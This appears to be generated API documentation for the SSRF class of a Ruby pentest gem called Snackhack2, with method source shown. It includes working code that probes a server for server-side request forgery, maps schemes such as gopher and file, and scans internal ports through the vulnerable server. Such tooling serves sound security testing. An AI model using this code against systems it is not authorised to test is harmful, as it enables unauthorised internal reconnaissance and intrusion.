Class: Snackhack2::SSRF

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/ssrf.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize ⇒ SSRF

Returns a new instance of SSRF.



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# File 'lib/snackhack2/ssrf.rb', line 9

def initialize
  @site = site
  @ssrf_site = ssrf_site
  @protocol = protocol
end

Instance Attribute Details

#protocol ⇒ Object

Returns the value of attribute protocol.



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# File 'lib/snackhack2/ssrf.rb', line 8

def protocol
  @protocol
end

#site ⇒ Object

Returns the value of attribute site.



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# File 'lib/snackhack2/ssrf.rb', line 8

def site
  @site
end

#ssrf_site ⇒ Object

Returns the value of attribute ssrf_site.



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# File 'lib/snackhack2/ssrf.rb', line 8

def ssrf_site
  @ssrf_site
end

Instance Method Details

#get_protocol ⇒ Object 



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# File 'lib/snackhack2/ssrf.rb', line 14

def get_protocol
  case @protocol.downcase
  when "https"
    "https://"
  when "ftp"
    "ftp://"
  when "http"
    "http://"
  when "file"
    "file://"
  when "dict"
    "dict://"
  when "gopher"
    "gopher://"
  when "sftp"
    "sftp://"
  when "tftp"
    "tftp://"
  when "ldap"
    "ldap://"
  end
end

#http_port_scan(port_count: 8082) ⇒ Object 



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# File 'lib/snackhack2/ssrf.rb', line 36

def http_port_scan(port_count: 8082)
  hydra = Typhoeus::Hydra.new
  i = 0
  # Where found ports will be saved.
  found_ports = []
  # tries 65530 ports
  65530.times.each_with_index.map{ |i|
    # adds the port to @ssrf
    site = @site.gsub("SSRF", "#{@ssrf_site}") + ":" + i.to_s
    request = Typhoeus::Request.new("#{site}", followlocation: true)
    hydra.queue(request)
    request.on_complete do |response|
      # If the response code returns 200 it will save
      # the port number to `found_ports`.
      if response.code.to_i.eql?(200)
        puts i
        puts "#{response.code}"
        found_ports << i
      end
    end
  }
  hydra.run
# returns the `found_ports` array.
found_ports
end

#ssrf_google ⇒ Object 



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# File 'lib/snackhack2/ssrf.rb', line 61

def ssrf_google
  url = @site.gsub('SSRF', 'http://google.com')
  ht = HTTParty.get(url)
  if ht.body.include?("Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.")
    puts "Boom Shaka. It's vulnerable to SSRF..."
  end
end